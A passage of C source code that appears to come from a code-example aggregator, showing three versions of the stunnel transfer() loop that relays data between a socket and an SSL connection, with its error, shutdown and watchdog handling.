        }
        if(c->sock_wfd->fd!=c->sock_rfd->fd) { /* performance optimization */
            err=s_poll_error(c->fds, c->sock_wfd->fd);
            if(err && err!=S_EWOULDBLOCK && err!=S_EAGAIN) {
                s_log(LOG_NOTICE, "Write socket error: %s (%d)",
                    s_strerror(err), err);
                longjmp(c->err, 1);
            }
        }
        err=s_poll_error(c->fds, c->ssl_rfd->fd);
        if(err && err!=S_EWOULDBLOCK && err!=S_EAGAIN) {
            s_log(LOG_NOTICE, "SSL socket error: %s (%d)",
                s_strerror(err), err);
            longjmp(c->err, 1);
        }
        if(c->ssl_wfd->fd!=c->ssl_rfd->fd) { /* performance optimization */
            err=s_poll_error(c->fds, c->ssl_wfd->fd);
            if(err && err!=S_EWOULDBLOCK && err!=S_EAGAIN) {
                s_log(LOG_NOTICE, "SSL socket error: %s (%d)",
                    s_strerror(err), err);
                longjmp(c->err, 1);
            }
        }

        /****************************** check for hangup conditions */
        if(s_poll_hup(c->fds, c->sock_rfd->fd)) {
            s_log(LOG_INFO, "Read socket closed (hangup)");
            sock_open_rd=0;
        }
        if(s_poll_hup(c->fds, c->sock_wfd->fd)) {
            if(c->ssl_ptr) {
                s_log(LOG_ERR,
                    "Write socket closed (hangup) with %d unsent byte(s)",
                    c->ssl_ptr);
                longjmp(c->err, 1); /* reset the socket */
            }
            s_log(LOG_INFO, "Write socket closed (hangup)");
            sock_open_wr=0;
        }
        if(s_poll_hup(c->fds, c->ssl_rfd->fd) ||
                s_poll_hup(c->fds, c->ssl_wfd->fd)) {
            /* hangup -> buggy (e.g. Microsoft) peer:
             * SSL socket closed without close_notify alert */
            if(c->sock_ptr || write_wants_write) {
                s_log(LOG_ERR,
                    "SSL socket closed (hangup) with %d unsent byte(s)",
                    c->sock_ptr);
                longjmp(c->err, 1); /* reset the socket */
            }
            s_log(LOG_INFO, "SSL socket closed (hangup)");
            SSL_set_shutdown(c->ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
        }

        /****************************** retrieve results from c->fds */
        sock_can_rd=s_poll_canread(c->fds, c->sock_rfd->fd);
        sock_can_wr=s_poll_canwrite(c->fds, c->sock_wfd->fd);
        ssl_can_rd=s_poll_canread(c->fds, c->ssl_rfd->fd);
        ssl_can_wr=s_poll_canwrite(c->fds, c->ssl_wfd->fd);

        /****************************** checks for internal failures */
        /* please report any internal errors to stunnel-users mailing list */
        if(!(sock_can_rd || sock_can_wr || ssl_can_rd || ssl_can_wr)) {
            s_log(LOG_ERR, "INTERNAL ERROR: "
                "s_poll_wait returned %d, but no descriptor is ready", err);
            longjmp(c->err, 1);
        }

        if(c->reneg_state==RENEG_DETECTED && !c->opt->option.renegotiation) {
            s_log(LOG_ERR, "Aborting due to renegotiation request");
            longjmp(c->err, 1);
        }

        /****************************** send SSL close_notify alert */
        if(shutdown_wants_read || shutdown_wants_write) {
            num=SSL_shutdown(c->ssl); /* send close_notify alert */
            if(num<0) /* -1 - not completed */
                err=SSL_get_error(c->ssl, num);
            else /* 0 or 1 - success */
                err=SSL_ERROR_NONE;
            switch(err) {
            case SSL_ERROR_NONE: /* the shutdown was successfully completed */
                s_log(LOG_INFO, "SSL_shutdown successfully sent close_notify alert");
                shutdown_wants_read=shutdown_wants_write=0;
                break;
            case SSL_ERROR_SYSCALL: /* socket error */
                if(parse_socket_error(c, "SSL_shutdown"))
                    break; /* a non-critical error: retry */
                SSL_set_shutdown(c->ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                shutdown_wants_read=shutdown_wants_write=0;
                break;
            case SSL_ERROR_WANT_WRITE:
                s_log(LOG_DEBUG, "SSL_shutdown returned WANT_WRITE: retrying");
                shutdown_wants_read=0;
                shutdown_wants_write=1;
                break;
            case SSL_ERROR_WANT_READ:
                s_log(LOG_DEBUG, "SSL_shutdown returned WANT_READ: retrying");
                shutdown_wants_read=1;
                shutdown_wants_write=0;
                break;
            case SSL_ERROR_SSL: /* SSL error */
                sslerror("SSL_shutdown");
                longjmp(c->err, 1);
            default:
                s_log(LOG_ERR, "SSL_shutdown/SSL_get_error returned %d", err);
                longjmp(c->err, 1);
            }
        }

        /****************************** read from socket */
        if(sock_open_rd && sock_can_rd) {
            num=readsocket(c->sock_rfd->fd,
                c->sock_buff+c->sock_ptr, BUFFSIZE-c->sock_ptr);
            switch(num) {
            case -1:
                if(parse_socket_error(c, "readsocket"))
                    break; /* a non-critical error: retry */
                sock_open_rd=sock_open_wr=0;
                break;
            case 0: /* close */
                s_log(LOG_INFO, "Read socket closed (readsocket)");
                sock_open_rd=0;
                break;
            default:
                c->sock_ptr+=num;
                watchdog=0; /* reset watchdog */
            }
        }

        /****************************** write to socket */
        if(sock_open_wr && sock_can_wr) {
            num=writesocket(c->sock_wfd->fd, c->ssl_buff, c->ssl_ptr);
            switch(num) {
            case -1: /* error */
                if(parse_socket_error(c, "writesocket"))
                    break; /* a non-critical error: retry */
                sock_open_rd=sock_open_wr=0;
                break;
            default:
                memmove(c->ssl_buff, c->ssl_buff+num, c->ssl_ptr-num);
                c->ssl_ptr-=num;
                c->sock_bytes+=num;
                watchdog=0; /* reset watchdog */
            }
        }

        /****************************** update *_wants_* based on new *_ptr */
        /* this update is also required for SSL_pending() to be used */
        read_wants_read|=!(SSL_get_shutdown(c->ssl)&SSL_RECEIVED_SHUTDOWN)
            && c->ssl_ptr<BUFFSIZE && !read_wants_write;
        write_wants_write|=!(SSL_get_shutdown(c->ssl)&SSL_SENT_SHUTDOWN)
            && c->sock_ptr && !write_wants_read;

        /****************************** read from SSL */
        if((read_wants_read && (ssl_can_rd || SSL_pending(c->ssl))) ||
                /* it may be possible to read some pending data after
                 * writesocket() above made some room in c->ssl_buff */
                (read_wants_write && ssl_can_wr)) {
            read_wants_read=0;
            read_wants_write=0;
            num=SSL_read(c->ssl, c->ssl_buff+c->ssl_ptr, BUFFSIZE-c->ssl_ptr);
            switch(err=SSL_get_error(c->ssl, num)) {
            case SSL_ERROR_NONE:
                if(num==0)
                    s_log(LOG_DEBUG, "SSL_read returned 0");
                c->ssl_ptr+=num;
                watchdog=0; /* reset watchdog */
                break;
            case SSL_ERROR_WANT_WRITE:
                s_log(LOG_DEBUG, "SSL_read returned WANT_WRITE: retrying");
                read_wants_write=1;
                break;
            case SSL_ERROR_WANT_READ: /* is it possible? */
                s_log(LOG_DEBUG, "SSL_read returned WANT_READ: retrying");
                read_wants_read=1;
                break;
            case SSL_ERROR_WANT_X509_LOOKUP:
                s_log(LOG_DEBUG,
                    "SSL_read returned WANT_X509_LOOKUP: retrying");
                break;
            case SSL_ERROR_SYSCALL:
                if(num && parse_socket_error(c, "SSL_read"))
                    break; /* a non-critical error: retry */
                /* EOF -> buggy (e.g. Microsoft) peer:
                 * SSL socket closed without close_notify alert */
                if(c->sock_ptr || write_wants_write) {
                    s_log(LOG_ERR,
                        "SSL socket closed (SSL_read) with %d unsent byte(s)",
                        c->sock_ptr);
                    longjmp(c->err, 1); /* reset the socket */
                }
                s_log(LOG_INFO, "SSL socket closed (SSL_read)");
                SSL_set_shutdown(c->ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                break;
            case SSL_ERROR_ZERO_RETURN: /* close_notify alert received */
                s_log(LOG_INFO, "SSL closed (SSL_read)");
                if(SSL_version(c->ssl)==SSL2_VERSION)
                    SSL_set_shutdown(c->ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                break;
            case SSL_ERROR_SSL:
                sslerror("SSL_read");
                longjmp(c->err, 1);
            default:
                s_log(LOG_ERR, "SSL_read/SSL_get_error returned %d", err);
                longjmp(c->err, 1);
            }
        }

        /****************************** write to SSL */
        if((write_wants_read && ssl_can_rd) ||
                (write_wants_write && ssl_can_wr)) {
            write_wants_read=0;
            write_wants_write=0;
            num=SSL_write(c->ssl, c->sock_buff, c->sock_ptr);
            switch(err=SSL_get_error(c->ssl, num)) {
            case SSL_ERROR_NONE:
                if(num==0)
                    s_log(LOG_DEBUG, "SSL_write returned 0");
                memmove(c->sock_buff, c->sock_buff+num, c->sock_ptr-num);
                c->sock_ptr-=num;
                c->ssl_bytes+=num;
                watchdog=0; /* reset watchdog */
                break;
            case SSL_ERROR_WANT_WRITE: /* buffered data? */
                s_log(LOG_DEBUG, "SSL_write returned WANT_WRITE: retrying");
                write_wants_write=1;
                break;
            case SSL_ERROR_WANT_READ:
                s_log(LOG_DEBUG, "SSL_write returned WANT_READ: retrying");
                write_wants_read=1;
                break;
            case SSL_ERROR_WANT_X509_LOOKUP:
                s_log(LOG_DEBUG,
                    "SSL_write returned WANT_X509_LOOKUP: retrying");
                break;
            case SSL_ERROR_SYSCALL: /* socket error */
                if(num && parse_socket_error(c, "SSL_write"))
                    break; /* a non-critical error: retry */
                /* EOF -> buggy (e.g. Microsoft) peer:
                 * SSL socket closed without close_notify alert */
                if(c->sock_ptr) { /* TODO: what about buffered data? */
                    s_log(LOG_ERR,
                        "SSL socket closed (SSL_write) with %d unsent byte(s)",
                        c->sock_ptr);
                    longjmp(c->err, 1); /* reset the socket */
                }
                s_log(LOG_INFO, "SSL socket closed (SSL_write)");
                SSL_set_shutdown(c->ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                break;
            case SSL_ERROR_ZERO_RETURN: /* close_notify alert received */
                s_log(LOG_INFO, "SSL closed (SSL_write)");
                if(SSL_version(c->ssl)==SSL2_VERSION)
                    SSL_set_shutdown(c->ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                break;
            case SSL_ERROR_SSL:
                sslerror("SSL_write");
                longjmp(c->err, 1);
            default:
                s_log(LOG_ERR, "SSL_write/SSL_get_error returned %d", err);
                longjmp(c->err, 1);
            }
        }

        /****************************** check write shutdown conditions */
        if(sock_open_wr && SSL_get_shutdown(c->ssl)&SSL_RECEIVED_SHUTDOWN &&
                !c->ssl_ptr) {
            sock_open_wr=0; /* no further write allowed */
            if(!c->sock_wfd->is_socket) {
                s_log(LOG_DEBUG, "Closing the file descriptor");
                sock_open_rd=0; /* file descriptor is ready to be closed */
            } else if(!shutdown(c->sock_wfd->fd, SHUT_WR)) { /* send TCP FIN */
                s_log(LOG_DEBUG, "Sent socket write shutdown");
            } else {
                s_log(LOG_DEBUG, "Failed to send socket write shutdown");
                sock_open_rd=0; /* file descriptor is ready to be closed */
            }
        }
        if(!(SSL_get_shutdown(c->ssl)&SSL_SENT_SHUTDOWN) && !sock_open_rd &&
                !c->sock_ptr && !write_wants_write) {
            if(SSL_version(c->ssl)!=SSL2_VERSION) {
                s_log(LOG_DEBUG, "Sending close_notify alert");
                shutdown_wants_write=1;
            } else { /* no alerts in SSLv2, including the close_notify alert */
                s_log(LOG_DEBUG, "Closing SSLv2 socket");
                if(c->ssl_rfd->is_socket)
                    shutdown(c->ssl_rfd->fd, SHUT_RD); /* notify the kernel */
                if(c->ssl_wfd->is_socket)
                    shutdown(c->ssl_wfd->fd, SHUT_WR); /* send TCP FIN */
                /* notify the OpenSSL library */
                SSL_set_shutdown(c->ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
            }
        }

        /****************************** check watchdog */
        if(++watchdog>100) { /* loop executes without transferring any data */
            s_log(LOG_ERR,
                "transfer() loop executes not transferring any data");
            s_log(LOG_ERR,
                "please report the problem to [email protected]");
            stunnel_info(LOG_ERR);
            s_log(LOG_ERR, "protocol=%s, SSL_pending=%d",
                SSL_get_version(c->ssl), SSL_pending(c->ssl));
            s_log(LOG_ERR, "sock_open_rd=%s, sock_open_wr=%s",
                sock_open_rd ? "Y" : "n", sock_open_wr ? "Y" : "n");
            s_log(LOG_ERR, "SSL_RECEIVED_SHUTDOWN=%s, SSL_SENT_SHUTDOWN=%s",
                SSL_get_shutdown(c->ssl)&SSL_RECEIVED_SHUTDOWN ? "Y" : "n",
                SSL_get_shutdown(c->ssl)&SSL_SENT_SHUTDOWN ? "Y" : "n");
            s_log(LOG_ERR, "sock_can_rd=%s, sock_can_wr=%s",
                sock_can_rd ? "Y" : "n", sock_can_wr ? "Y" : "n");
            s_log(LOG_ERR, "ssl_can_rd=%s, ssl_can_wr=%s",
                ssl_can_rd ? "Y" : "n", ssl_can_wr ? "Y" : "n");
            s_log(LOG_ERR, "read_wants_read=%s, read_wants_write=%s",
                read_wants_read ? "Y" : "n", read_wants_write ? "Y" : "n");
            s_log(LOG_ERR, "write_wants_read=%s, write_wants_write=%s",
                write_wants_read ? "Y" : "n", write_wants_write ? "Y" : "n");
            s_log(LOG_ERR, "shutdown_wants_read=%s, shutdown_wants_write=%s",
                shutdown_wants_read ? "Y" : "n",
                shutdown_wants_write ? "Y" : "n");
            s_log(LOG_ERR, "socket input buffer: %d byte(s), "
                "ssl input buffer: %d byte(s)", c->sock_ptr, c->ssl_ptr);
            longjmp(c->err, 1);
        }

    } while(sock_open_wr || !(SSL_get_shutdown(c->ssl)&SSL_SENT_SHUTDOWN) ||
        shutdown_wants_read || shutdown_wants_write);
}
Exemple #17
0
/****************************** transfer data */
static int transfer(CLI *c) {
    int num, err;
    int check_SSL_pending;
    enum {CL_OPEN, CL_INIT, CL_RETRY, CL_CLOSED} ssl_closing=CL_OPEN;
    int watchdog=0; /* a counter to detect an infinite loop */

    c->sock_ptr=c->ssl_ptr=0;
    sock_rd=sock_wr=ssl_rd=ssl_wr=1;
    c->sock_bytes=c->ssl_bytes=0;

    do { /* main loop */
        /* set flag to try and read any buffered SSL data
         * if we made room in the buffer by writing to the socket */
        check_SSL_pending=0;

        /****************************** setup c->fds structure */
        s_poll_zero(&c->fds); /* Initialize the structure */
        if(sock_rd && c->sock_ptr<BUFFSIZE) /* socket input buffer not full*/
            s_poll_add(&c->fds, c->sock_rfd->fd, 1, 0);
        if((ssl_rd && c->ssl_ptr<BUFFSIZE) || /* SSL input buffer not full */
                ((c->sock_ptr || ssl_closing==CL_RETRY) && want_rd))
                /* want to SSL_write or SSL_shutdown but read from the
                 * underlying socket needed for the SSL protocol */
            s_poll_add(&c->fds, c->ssl_rfd->fd, 1, 0);
        if(c->ssl_ptr) /* SSL input buffer not empty */
            s_poll_add(&c->fds, c->sock_wfd->fd, 0, 1);
        if(c->sock_ptr || /* socket input buffer not empty */
                ssl_closing==CL_INIT /* need to send close_notify */ ||
                ((c->ssl_ptr<BUFFSIZE || ssl_closing==CL_RETRY) && want_wr))
                /* want to SSL_read or SSL_shutdown but write to the
                 * underlying socket needed for the SSL protocol */
            s_poll_add(&c->fds, c->ssl_wfd->fd, 0, 1);

        /****************************** wait for an event */
        err=s_poll_wait(&c->fds, (sock_rd && ssl_rd) /* both peers open */ ||
            c->ssl_ptr /* data buffered to write to socket */ ||
            c->sock_ptr /* data buffered to write to SSL */ ?
            c->opt->timeout_idle : c->opt->timeout_close);
        switch(err) {
        case -1:
            sockerror("transfer: s_poll_wait");
            return -1;
        case 0: /* timeout */
            if((sock_rd && ssl_rd) || c->ssl_ptr || c->sock_ptr) {
                s_log(LOG_INFO, "s_poll_wait timeout: connection reset");
                return -1;
            } else { /* already closing connection */
                s_log(LOG_INFO, "s_poll_wait timeout: connection close");
                return 0; /* OK */
            }
        }
        if(!(sock_can_rd || sock_can_wr || ssl_can_rd || ssl_can_wr)) {
            s_log(LOG_ERR, "INTERNAL ERROR: "
                "s_poll_wait returned %d, but no descriptor is ready", err);
            return -1;
        }

        /****************************** send SSL close_notify message */
        if(ssl_closing==CL_INIT || (ssl_closing==CL_RETRY &&
                ((want_rd && ssl_can_rd) || (want_wr && ssl_can_wr)))) {
            switch(SSL_shutdown(c->ssl)) { /* Send close_notify */
            case 1: /* the shutdown was successfully completed */
                s_log(LOG_INFO, "SSL_shutdown successfully sent close_notify");
                ssl_closing=CL_CLOSED; /* done! */
                break;
            case 0: /* the shutdown is not yet finished */
                s_log(LOG_DEBUG, "SSL_shutdown retrying");
                ssl_closing=CL_RETRY; /* retry next time */
                break;
            case -1: /* a fatal error occurred */
                sslerror("SSL_shutdown");
                return -1;
            }
        }

        /****************************** write to socket */
        if(sock_wr && sock_can_wr) {


		/* for stunnel to tell web server the remote ip address */
		add_remote_ip_to_header(c);


            num=writesocket(c->sock_wfd->fd, c->ssl_buff, c->ssl_ptr);
            switch(num) {
            case -1: /* error */
                if(parse_socket_error("writesocket"))
                    return -1;
                break;
            case 0:
                s_log(LOG_DEBUG, "No data written to the socket: retrying");
                break;
            default:
                memmove(c->ssl_buff, c->ssl_buff+num, c->ssl_ptr-num);
                if(c->ssl_ptr==BUFFSIZE) /* buffer was previously full */
                    check_SSL_pending=1; /* check for data buffered by SSL */
                c->ssl_ptr-=num;
                c->sock_bytes+=num;
                watchdog=0; /* reset watchdog */
            }
        }

        /****************************** write to SSL */
        if(ssl_wr && c->sock_ptr && ( /* output buffer not empty */
                ssl_can_wr || (want_rd && ssl_can_rd)
                /* SSL_write wants to read from the underlying descriptor */
                )) {
            num=SSL_write(c->ssl, c->sock_buff, c->sock_ptr);
            switch(err=SSL_get_error(c->ssl, num)) {
            case SSL_ERROR_NONE:
                memmove(c->sock_buff, c->sock_buff+num, c->sock_ptr-num);
                c->sock_ptr-=num;
                c->ssl_bytes+=num;
                watchdog=0; /* reset watchdog */
                break;
            case SSL_ERROR_WANT_WRITE:
                s_log(LOG_DEBUG, "SSL_write returned WANT_WRITE: retrying");
                break;
            case SSL_ERROR_WANT_READ:
                s_log(LOG_DEBUG, "SSL_write returned WANT_READ: retrying");
                break;
            case SSL_ERROR_WANT_X509_LOOKUP:
                s_log(LOG_DEBUG,
                    "SSL_write returned WANT_X509_LOOKUP: retrying");
                break;
            case SSL_ERROR_SYSCALL: /* really an error */
                if(num && parse_socket_error("SSL_write"))
                    return -1;
                break;
            case SSL_ERROR_ZERO_RETURN: /* close_notify received */
                s_log(LOG_DEBUG, "SSL closed on SSL_write");
                ssl_rd=0;
                break;
            case SSL_ERROR_SSL:
                sslerror("SSL_write");
                return -1;
            default:
                s_log(LOG_ERR, "SSL_write/SSL_get_error returned %d", err);
                return -1;
            }
        }

        /****************************** read from socket */
        if(sock_rd && sock_can_rd) {
            num=readsocket(c->sock_rfd->fd,
                c->sock_buff+c->sock_ptr, BUFFSIZE-c->sock_ptr);
            switch(num) {
            case -1:
                if(parse_socket_error("readsocket"))
                    return -1;
                break;
            case 0: /* close */
                s_log(LOG_DEBUG, "Socket closed on read");
                sock_rd=0;
                break;
            default:
                c->sock_ptr+=num;
                watchdog=0; /* reset watchdog */
            }
        }

        /****************************** read from SSL */
        if(ssl_rd && c->ssl_ptr<BUFFSIZE  && ( /* input buffer not full */
                ssl_can_rd || (want_wr && ssl_can_wr) ||
                /* SSL_read wants to write to the underlying descriptor */
                (check_SSL_pending && SSL_pending(c->ssl))
                /* write made space from full buffer */
                )) {
            num=SSL_read(c->ssl, c->ssl_buff+c->ssl_ptr, BUFFSIZE-c->ssl_ptr);
            switch(err=SSL_get_error(c->ssl, num)) {
            case SSL_ERROR_NONE:
                c->ssl_ptr+=num;
                watchdog=0; /* reset watchdog */
                break;
            case SSL_ERROR_WANT_WRITE:
                s_log(LOG_DEBUG, "SSL_read returned WANT_WRITE: retrying");
                break;
            case SSL_ERROR_WANT_READ:
                s_log(LOG_DEBUG, "SSL_read returned WANT_READ: retrying");
                break;
            case SSL_ERROR_WANT_X509_LOOKUP:
                s_log(LOG_DEBUG,
                    "SSL_read returned WANT_X509_LOOKUP: retrying");
                break;
            case SSL_ERROR_SYSCALL:
                if(!num) { /* EOF */
                    if(c->sock_ptr) {
                        s_log(LOG_ERR,
                            "SSL socket closed with %d byte(s) in buffer",
                            c->sock_ptr);
                        return -1; /* reset the socket */
                    }
                    s_log(LOG_DEBUG, "SSL socket closed on SSL_read");
                    ssl_rd=ssl_wr=0; /* buggy or SSLv2 peer: no close_notify */
                    ssl_closing=CL_CLOSED; /* don't try to send it back */
                } else if(parse_socket_error("SSL_read"))
                    return -1;
                break;
            case SSL_ERROR_ZERO_RETURN: /* close_notify received */
                s_log(LOG_DEBUG, "SSL closed on SSL_read");
                ssl_rd=0;
                break;
            case SSL_ERROR_SSL:
                sslerror("SSL_read");
                return -1;
            default:
                s_log(LOG_ERR, "SSL_read/SSL_get_error returned %d", err);
                return -1;
            }
        }

        /****************************** check write shutdown conditions */
        if(sock_wr && !ssl_rd && !c->ssl_ptr) {
            s_log(LOG_DEBUG, "Socket write shutdown");
            sock_wr=0; /* no further write allowed */
            shutdown(c->sock_wfd->fd, SHUT_WR); /* send TCP FIN */
        }
        if(ssl_wr && (!sock_rd || SSL_get_shutdown(c->ssl)) && !c->sock_ptr) {
            s_log(LOG_DEBUG, "SSL write shutdown");
            ssl_wr=0; /* no further write allowed */
            if(strcmp(SSL_get_version(c->ssl), "SSLv2")) { /* SSLv3, TLSv1 */
                ssl_closing=CL_INIT; /* initiate close_notify */
            } else { /* no alerts in SSLv2 including close_notify alert */
                shutdown(c->sock_rfd->fd, SHUT_RD); /* notify the kernel */
                shutdown(c->sock_wfd->fd, SHUT_WR); /* send TCP FIN */
                SSL_set_shutdown(c->ssl, /* notify the OpenSSL library */
                    SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
                ssl_rd=0; /* no further read allowed */
                ssl_closing=CL_CLOSED; /* closed */
            }
        }
        if(ssl_closing==CL_RETRY) { /* SSL shutdown */
            if(!want_rd && !want_wr) { /* close_notify alert was received */
                s_log(LOG_DEBUG, "SSL doesn't need to read or write");
                ssl_closing=CL_CLOSED;
            }
            if(watchdog>5) {
                s_log(LOG_NOTICE, "Too many retries on SSL shutdown");
                ssl_closing=CL_CLOSED;
            }
        }

        /****************************** check watchdog */
        if(++watchdog>100) { /* loop executes without transferring any data */
            s_log(LOG_ERR,
                "transfer() loop executes not transferring any data");
            s_log(LOG_ERR,
                "please report the problem to [email protected]");
            s_log(LOG_ERR, "socket open: rd=%s wr=%s, ssl open: rd=%s wr=%s",
                sock_rd ? "yes" : "no", sock_wr ? "yes" : "no",
                ssl_rd ? "yes" : "no", ssl_wr ? "yes" : "no");
            s_log(LOG_ERR, "socket ready: rd=%s wr=%s, ssl ready: rd=%s wr=%s",
                sock_can_rd ? "yes" : "no", sock_can_wr ? "yes" : "no",
                ssl_can_rd ? "yes" : "no", ssl_can_wr ? "yes" : "no");
            s_log(LOG_ERR, "ssl want: rd=%s wr=%s",
                want_rd ? "yes" : "no", want_wr ? "yes" : "no");
            s_log(LOG_ERR, "socket input buffer: %d byte(s), "
                "ssl input buffer: %d byte(s)", c->sock_ptr, c->ssl_ptr);
            s_log(LOG_ERR, "check_SSL_pending=%d, ssl_closing=%d",
                check_SSL_pending, ssl_closing);
            return -1;
        }

    } while(sock_wr || ssl_closing!=CL_CLOSED);

    return 0; /* OK */
}
Exemple #18
0
static int transfer(CLI *c) { /* transfer data */
    fd_set rd_set, wr_set;
    int num, err, fdno;
    int check_SSL_pending;
    int ssl_closing;
        /* 0=not closing SSL, 1=initiate SSL_shutdown,
         * 2=retry SSL_shutdown, 3=SSL_shutdown done */
    int ready;
    struct timeval tv;

    /* fdno=max(c->sock_rfd->fd, c->sock_wfd->fd,
     *     fdno=c->ssl_rfd->fd, fdno=c->ssl_wfd->fd)+1 */
    fdno=c->sock_rfd->fd;
    if(c->sock_wfd->fd>fdno) fdno=c->sock_wfd->fd;
    if(c->ssl_rfd->fd>fdno) fdno=c->ssl_rfd->fd;
    if(c->ssl_wfd->fd>fdno) fdno=c->ssl_wfd->fd;
    fdno+=1;

    c->sock_ptr=c->ssl_ptr=0;
    sock_rd=sock_wr=ssl_rd=ssl_wr=1;
    c->sock_bytes=c->ssl_bytes=0;
    ssl_closing=0;

    while(((sock_rd||c->sock_ptr)&&ssl_wr)||((ssl_rd||c->ssl_ptr)&&sock_wr)) {

        FD_ZERO(&rd_set); /* Setup rd_set */
        if(sock_rd && c->sock_ptr<BUFFSIZE) /* socket input buffer not full*/
            FD_SET(c->sock_rfd->fd, &rd_set);
        if(ssl_rd && (
                c->ssl_ptr<BUFFSIZE || /* SSL input buffer not full */
                ((c->sock_ptr||ssl_closing) && SSL_want_read(c->ssl))
                /* I want to SSL_write or SSL_shutdown but read from the
                 * underlying socket needed for the SSL protocol */
                )) {
            FD_SET(c->ssl_rfd->fd, &rd_set);
        }

        FD_ZERO(&wr_set); /* Setup wr_set */
        if(sock_wr && c->ssl_ptr) /* SSL input buffer not empty */
            FD_SET(c->sock_wfd->fd, &wr_set);
        if (ssl_wr && (
                c->sock_ptr || /* socket input buffer not empty */
                ssl_closing==1 || /* initiate SSL_shutdown */
                ((c->ssl_ptr<BUFFSIZE || ssl_closing==2) &&
                    SSL_want_write(c->ssl))
                /* I want to SSL_read or SSL_shutdown but write to the
                 * underlying socket needed for the SSL protocol */
                )) {
            FD_SET(c->ssl_wfd->fd, &wr_set);
        }

        tv.tv_sec=sock_rd ||
            (ssl_wr&&c->sock_ptr) || (sock_wr&&c->ssl_ptr) ?
            c->opt->timeout_idle : c->opt->timeout_close;
        tv.tv_usec=0;
        ready=sselect(fdno, &rd_set, &wr_set, NULL, &tv);
        if(ready<0) { /* Break the connection for others */
            sockerror("select");
            return -1;
        }
        if(!ready) { /* Timeout */
            if(sock_rd) { /* No traffic for a long time */
                log(LOG_DEBUG, "select timeout: connection reset");
                return -1;
            } else { /* Timeout waiting for SSL close_notify */
                log(LOG_DEBUG, "select timeout waiting for SSL close_notify");
                break; /* Leave the while() loop */
            }
        }

        if(ssl_closing==1 /* initiate SSL_shutdown */ || (ssl_closing==2 && (
                (SSL_want_read(c->ssl) && FD_ISSET(c->ssl_rfd->fd, &rd_set)) ||
                (SSL_want_write(c->ssl) && FD_ISSET(c->ssl_wfd->fd, &wr_set))
                ))) {
            switch(SSL_shutdown(c->ssl)) { /* Send close_notify */
            case 1: /* the shutdown was successfully completed */
                log(LOG_INFO, "SSL_shutdown successfully sent close_notify");
                ssl_wr=0; /* SSL write closed */
                /* TODO: It's not really closed.  We need to distinguish
                 * closed SSL and closed underlying file descriptor */
                ssl_closing=3; /* done! */
                break;
            case 0: /* the shutdown is not yet finished */
                log(LOG_DEBUG, "SSL_shutdown retrying");
                ssl_closing=2; /* next time just retry SSL_shutdown */
                break;
            case -1: /* a fatal error occurred */
                sslerror("SSL_shutdown");
                return -1;
            }
        }

        /* Set flag to try and read any buffered SSL data if we made */
        /* room in the buffer by writing to the socket */
        check_SSL_pending = 0;

        if(sock_wr && FD_ISSET(c->sock_wfd->fd, &wr_set)) {
            switch(num=writesocket(c->sock_wfd->fd, c->ssl_buff, c->ssl_ptr)) {
            case -1: /* error */
                switch(get_last_socket_error()) {
                case EINTR:
                    log(LOG_DEBUG,
                        "writesocket interrupted by a signal: retrying");
                    break;
                case EWOULDBLOCK:
                    log(LOG_NOTICE, "writesocket would block: retrying");
                    break;
                default:
                    sockerror("writesocket");
                    return -1;
                }
                break;
            case 0:
                log(LOG_DEBUG, "No data written to the socket: retrying");
                break;
            default:
                memmove(c->ssl_buff, c->ssl_buff+num, c->ssl_ptr-num);
                if(c->ssl_ptr==BUFFSIZE)
                    check_SSL_pending=1;
                c->ssl_ptr-=num;
                c->sock_bytes+=num;
                if(!ssl_rd && !c->ssl_ptr) {
                    shutdown(c->sock_wfd->fd, SHUT_WR);
                    log(LOG_DEBUG,
                        "Socket write shutdown (no more data to send)");
                    sock_wr=0;
                }
            }
        }

        if(ssl_wr && ( /* SSL sockets are still open */
                (c->sock_ptr && FD_ISSET(c->ssl_wfd->fd, &wr_set)) ||
                /* See if application data can be written */
                (SSL_want_read(c->ssl) && FD_ISSET(c->ssl_rfd->fd, &rd_set))
                /* I want to SSL_write but read from the underlying */
                /* socket needed for the SSL protocol */
                )) {
            num=SSL_write(c->ssl, c->sock_buff, c->sock_ptr);

            err=SSL_get_error(c->ssl, num);
            switch(err) {
            case SSL_ERROR_NONE:
                memmove(c->sock_buff, c->sock_buff+num, c->sock_ptr-num);
                c->sock_ptr-=num;
                c->ssl_bytes+=num;
                if(!ssl_closing && !sock_rd && !c->sock_ptr && ssl_wr) {
                    log(LOG_DEBUG,
                        "SSL write shutdown (no more data to send)");
                    ssl_closing=1;
                }
                break;
            case SSL_ERROR_WANT_WRITE:
            case SSL_ERROR_WANT_READ:
            case SSL_ERROR_WANT_X509_LOOKUP:
                log(LOG_DEBUG, "SSL_write returned WANT_: retrying");
                break;
            case SSL_ERROR_SYSCALL:
                if(num<0) { /* really an error */
                    switch(get_last_socket_error()) {
                    case EINTR:
                        log(LOG_DEBUG,
                            "SSL_write interrupted by a signal: retrying");
                        break;
                    case EAGAIN:
                        log(LOG_DEBUG,
                            "SSL_write returned EAGAIN: retrying");
                        break; 
                    default:
                        sockerror("SSL_write (ERROR_SYSCALL)");
                        return -1;
                    }
                }
                break;
            case SSL_ERROR_ZERO_RETURN: /* close_notify received */
                log(LOG_DEBUG, "SSL closed on SSL_write");
                ssl_rd=ssl_wr=0;
                break;
            case SSL_ERROR_SSL:
                sslerror("SSL_write");
                return -1;
            default:
                log(LOG_ERR, "SSL_write/SSL_get_error returned %d", err);
                return -1;
            }
        }

        if(sock_rd && FD_ISSET(c->sock_rfd->fd, &rd_set)) {
            switch(num=readsocket(c->sock_rfd->fd,
                c->sock_buff+c->sock_ptr, BUFFSIZE-c->sock_ptr)) {
            case -1:
                switch(get_last_socket_error()) {
                case EINTR:
                    log(LOG_DEBUG,
                        "readsocket interrupted by a signal: retrying");
                    break;
                case EWOULDBLOCK:
                    log(LOG_NOTICE, "readsocket would block: retrying");
                    break;
                default:
                    sockerror("readsocket");
                    return -1;
                }
                break;
            case 0: /* close */
                log(LOG_DEBUG, "Socket closed on read");
                sock_rd=0;
